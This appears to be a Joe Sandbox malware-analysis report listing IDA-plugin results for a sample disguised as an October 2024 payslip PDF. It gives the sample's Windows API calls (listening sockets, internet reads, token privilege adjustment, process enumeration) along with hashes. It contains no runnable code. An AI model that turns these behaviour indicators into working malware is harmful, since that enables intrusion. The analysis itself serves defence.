Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 6c642f64c652ac23dd25a525ac276a21cd2ca66914477bf6e2209de9a48f92d8
Instruction ID: f98a66772d6822efb28ce52a17280f4a064709e165cf15d20b3c7a0d962b6377
Opcode Fuzzy Hash: 6c642f64c652ac23dd25a525ac276a21cd2ca66914477bf6e2209de9a48f92d8
Instruction Fuzzy Hash: 97012831654B155AEB785778FC4ABFB7268EB05342F280531FD4ED20D6D650CC8049B0

Function 00D16596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00D165EF
WSAGetLastError.WSOCK32(00000000), ref: 00D165FE
bind.WSOCK32(00000000,?,00000010), ref: 00D1661A
listen.WSOCK32(00000000,00000005), ref: 00D16629
WSAGetLastError.WSOCK32(00000000), ref: 00D16643
closesocket.WSOCK32(00000000,00000000), ref: 00D16657

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 83086551cd856e30a602d5e198fedef7481706dea8a776e6fed34e963778ad47
Instruction ID: 91f1be7486f9222c6a1756400654d4a6e2c0ccce8768a3493caa0ec5543f36d7
Opcode Fuzzy Hash: 83086551cd856e30a602d5e198fedef7481706dea8a776e6fed34e963778ad47
Instruction Fuzzy Hash: 5621D031200204AFCB10EF64D846B6EB7B9EF49324F1485A9E956E73E1CB30ED41DB61

Function 00CB5680 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00CC0FF6: std::exception::exception.LIBCMT ref: 00CC102C
Part of subcall function 00CC0FF6: __CxxThrowException@8.LIBCMT ref: 00CC1041

_memmove.LIBCMT ref: 00CF062F
_memmove.LIBCMT ref: 00CF0744
_memmove.LIBCMT ref: 00CF07EB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: ebc6cc9fa6121ed8faee9f92a24fa63047c756f6ef9c4bf43b50e2e1261f0bca
Instruction ID: 5a2652b4cb68507ca5788d392f9e4ba6ff27c01840b7bb381454956f507ccb2f
Opcode Fuzzy Hash: ebc6cc9fa6121ed8faee9f92a24fa63047c756f6ef9c4bf43b50e2e1261f0bca
Instruction Fuzzy Hash: AD02A2B0E00209DBDF04DF65D981ABE7BB5FF44300F2480A9E906DB296EB31DA55DB91

Function 00CA1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00CA19FA
GetSysColor.USER32(0000000F), ref: 00CA1A4E
SetBkColor.GDI32(?,00000000), ref: 00CA1A61

Part of subcall function 00CA1290: DefDlgProcW.USER32(?,00000020,?), ref: 00CA12D8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 5babeffa69b68b1a0b8030b83d19d02bf28f6d9d15db0631e38aae90785bab9d
Instruction ID: 603a6347a9138ef96ad39fbce440892daad66ae149e796f7881734adf01a0a29
Opcode Fuzzy Hash: 5babeffa69b68b1a0b8030b83d19d02bf28f6d9d15db0631e38aae90785bab9d
Instruction Fuzzy Hash: 99A15670115556BED728AB2A9C44EBF359DEB8334DF1D011BFD22D6291CA10CE01E2B2

Function 00D16A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D180A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00D180CB

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00D16AB1
WSAGetLastError.WSOCK32(00000000), ref: 00D16ADA
bind.WSOCK32(00000000,?,00000010), ref: 00D16B13
WSAGetLastError.WSOCK32(00000000), ref: 00D16B20
closesocket.WSOCK32(00000000,00000000), ref: 00D16B34

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 967b2667bd5ecc92a777a506f788a98f8aff01fd7db6c7acc528e5cdeab90ccd
Instruction ID: 99af12c50b2928f0dbc086acd36f22b34cf6f1747035c6e8cc3784d6026a17d9
Opcode Fuzzy Hash: 967b2667bd5ecc92a777a506f788a98f8aff01fd7db6c7acc528e5cdeab90ccd
Instruction Fuzzy Hash: 1D41D475B00214AFEB10AF64DC87F6EB7A8DF06714F04845CF94AAB3D2DA709D01A7A1

Function 00D255FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00D2564C
IsWindowEnabled.USER32 ref: 00D2565A
GetForegroundWindow.USER32(?,?,00000001), ref: 00D25667
IsIconic.USER32 ref: 00D25675
IsZoomed.USER32 ref: 00D25683

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 33da1854bd5c3aca4ec96f610ef75b4b91c3b5d519e243a068cf061b4ae153bf
Instruction ID: ff210254f5530aa8b5d754bf70ca0b4e7034d88ed3858e9ee740fad44386ad97
Opcode Fuzzy Hash: 33da1854bd5c3aca4ec96f610ef75b4b91c3b5d519e243a068cf061b4ae153bf
Instruction Fuzzy Hash: 7B11B231700A216FE7211F26FC44F2B77A9EF65726B484439E846D7251CB30DD028AB5

Function 00D1C304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CE1D88,?), ref: 00D1C312
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00D1C324

Strings

GetSystemWow64DirectoryW, xrefs: 00D1C31E
kernel32.dll, xrefs: 00D1C30D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 5317473c6ec671f5dad9d6abb91da72d75192141c788f29ecf86c045ede78831
Instruction ID: 7fd65532d95b0adccebfeff5c96a394262a7841cf4df2f0cb4a644901d8fc050
Opcode Fuzzy Hash: 5317473c6ec671f5dad9d6abb91da72d75192141c788f29ecf86c045ede78831
Instruction Fuzzy Hash: 2DE08C70650313DFCF304F29E808B8676E4EB18715B84983AE8A5C2260EB70D881CA70

Function 00CB3190 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 3b51501bfcc5f3b46feef7ab3f788bd820af48fd627230bc00975c70b2c874ab
Instruction ID: 36fa364fb2372a4aeddefd6bd6a57c5be72d30eab6fc8eef12208093ba8b2993
Opcode Fuzzy Hash: 3b51501bfcc5f3b46feef7ab3f788bd820af48fd627230bc00975c70b2c874ab
Instruction Fuzzy Hash: 31229A716083819FC724DF25C881BAFB7E4EF85304F144A2DF99A97291DB31EA04DB92

Function 00D1F121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00D1F151
Process32FirstW.KERNEL32(00000000,?), ref: 00D1F15F

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Process32NextW.KERNEL32(00000000,?), ref: 00D1F21F
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00D1F22E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: efa8a58104027b951cd287789d78f85e9a3f4e7c0b4029b5d84b570341f7de56
Instruction ID: bc2599e00ab27cfc260d261a32422a1270808340902a62bb6c100aed8ea07ef3
Opcode Fuzzy Hash: efa8a58104027b951cd287789d78f85e9a3f4e7c0b4029b5d84b570341f7de56
Instruction Fuzzy Hash: 45517D71504301AFD310EF20DC86EABB7E8FF95714F14492DF495972A1EB70A908DBA2

Function 00D040B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00D040D1
_memset.LIBCMT ref: 00D040F2
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00D04144
CloseHandle.KERNEL32(00000000), ref: 00D0414D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 4c6b0161bbccf12c7bf7ea278a37aac52b4c11ff63cd1abec07608c3c235aa9e
Instruction ID: a03fb797d40a996d422031ac8cae9374b6b16e504a0cb8bb69531e07b5578f90
Opcode Fuzzy Hash: 4c6b0161bbccf12c7bf7ea278a37aac52b4c11ff63cd1abec07608c3c235aa9e
Instruction Fuzzy Hash: 8411AB75D013287AD7309BA5AC4DFABBB7CEF45764F1045AAF908E7280D6744E808BB4

Function 00CFEB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00CFEB19

Strings

(, xrefs: 00CFEB5F
|, xrefs: 00CFEB49

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 72c201a648643572462f1153c49abf93eca616c293be7677b5e294fe58df4e8e
Instruction ID: cdc77ba779af82f31c4f99444c4b1041588de2f03d45906f1c440a9528a8ab04
Opcode Fuzzy Hash: 72c201a648643572462f1153c49abf93eca616c293be7677b5e294fe58df4e8e
Instruction Fuzzy Hash: E7323575A007059FCB68CF59C481A6AB7F0FF48310B11C46EE9AACB3A1EB70E941CB44

Function 00D125E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00D11AFE,00000000), ref: 00D126D5
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00D1270C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 1a63ece76848a41c31244b7912c82064459d0ed560643cb4a9e2ef21282f3e1d
Instruction ID: eceb27c8798d947ac578a3c55f31a4496b8235bab4f976b694f00d2739823e1d
Opcode Fuzzy Hash: 1a63ece76848a41c31244b7912c82064459d0ed560643cb4a9e2ef21282f3e1d
Instruction Fuzzy Hash: CB41B471500209BFEB20DB94EC85EFBB7BCEB40714F14406EFA45A6181EE729E91D674

Function 00D0B59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D0B5AE
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00D0B608
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00D0B655

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 603aa15ad914a0cc0c57daa45fc4b9825a5cda7b48ce64e168bc8e579c6e8277
Instruction ID: 0c5a6649c787933b67e93f7e52bdba4a6fecdca7a43c2c7090802be83628888c
Opcode Fuzzy Hash: 603aa15ad914a0cc0c57daa45fc4b9825a5cda7b48ce64e168bc8e579c6e8277
Instruction Fuzzy Hash: AA217735A00618EFCB00DF55D881EEDBBB8FF49314F1480AAE905EB351DB319915DB61

Function 00CF8CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CC0FF6: std::exception::exception.LIBCMT ref: 00CC102C
Part of subcall function 00CC0FF6: __CxxThrowException@8.LIBCMT ref: 00CC1041

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CF8D0D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CF8D3A
GetLastError.KERNEL32 ref: 00CF8D47

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 52f9d1d25b1ed78646cfaee73e77b879764bc89741fb41681910e4e28b40c0dc
Instruction ID: 040a84a075a36b8ad3863170fb526cb30526d330aed06a4521a0e186576262ff
Opcode Fuzzy Hash: 52f9d1d25b1ed78646cfaee73e77b879764bc89741fb41681910e4e28b40c0dc
Instruction Fuzzy Hash: D2116AB1814209AFE728AF64DC85E6BB7BCEB44710B20852EF95692241EB30A8458A60

Function 00D04C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00D04C2C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00D04C43
FreeSid.ADVAPI32(?), ref: 00D04C53

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: d7a8c84d47d63750ced2bb6dc2e43685ca85f0f9d72d293041d00fcb8ea2937f
Instruction ID: 4b56a751cfec23392b0496784b207a74191cb42350021c2198ee420b099866c9
Opcode Fuzzy Hash: d7a8c84d47d63750ced2bb6dc2e43685ca85f0f9d72d293041d00fcb8ea2937f
Instruction Fuzzy Hash: 75F03C75911308BBDB04DFE09D89AADB7B8EB08201F004869A501E2281D6705A448B60

Function 00CAE060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1b1e46fc1faf68764364a278f0e51b87c66f9cc13f424402808aa609e9928d
Instruction ID: af0aaa7d22347ea46bd1e23904c69e2a033f06842b5e97ba71ac67fd0944111b
Opcode Fuzzy Hash: 1d1b1e46fc1faf68764364a278f0e51b87c66f9cc13f424402808aa609e9928d
Instruction Fuzzy Hash: D422AE70A00216CFDB24DF99C494BAEB7F4FF0A304F148169E9669B351E734AE81DB91

Function 00D0C93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00D0C966
FindClose.KERNEL32(00000000), ref: 00D0C996

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 43ebcdca944362ab45082073737b0946029a7a504e1f1ca16696db5fbcd8a2ba
Instruction ID: a5e42c4b3f57d9a0d24d7b1325cd2a9352be7f480fdef912aacc0e343a3fbb02
Opcode Fuzzy Hash: 43ebcdca944362ab45082073737b0946029a7a504e1f1ca16696db5fbcd8a2ba
Instruction Fuzzy Hash: 3611A1326106009FD710EF29D845A2AF7E9FF95324F008A1EF8A9D73A1DB30AC01DB91

Function 00D0A2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00D1977D,?,00D2FB84,?), ref: 00D0A302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00D1977D,?,00D2FB84,?), ref: 00D0A314

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5d798243b056108442417743af9409cdb5fa66bb174ee77713f40d1747b95bcf
Instruction ID: fcc534decdbec2dd4e5d07d8e701d39fbe2e596ea794d33ce82e51b5339c318f
Opcode Fuzzy Hash: 5d798243b056108442417743af9409cdb5fa66bb174ee77713f40d1747b95bcf
Instruction Fuzzy Hash: 5CF05E3554532DBBDB209FA48C48FEA776DBF09761F004666B908D6281D6309940CBB1

Function 00CF8713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CF8851), ref: 00CF8728
CloseHandle.KERNEL32(?,?,00CF8851), ref: 00CF873A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
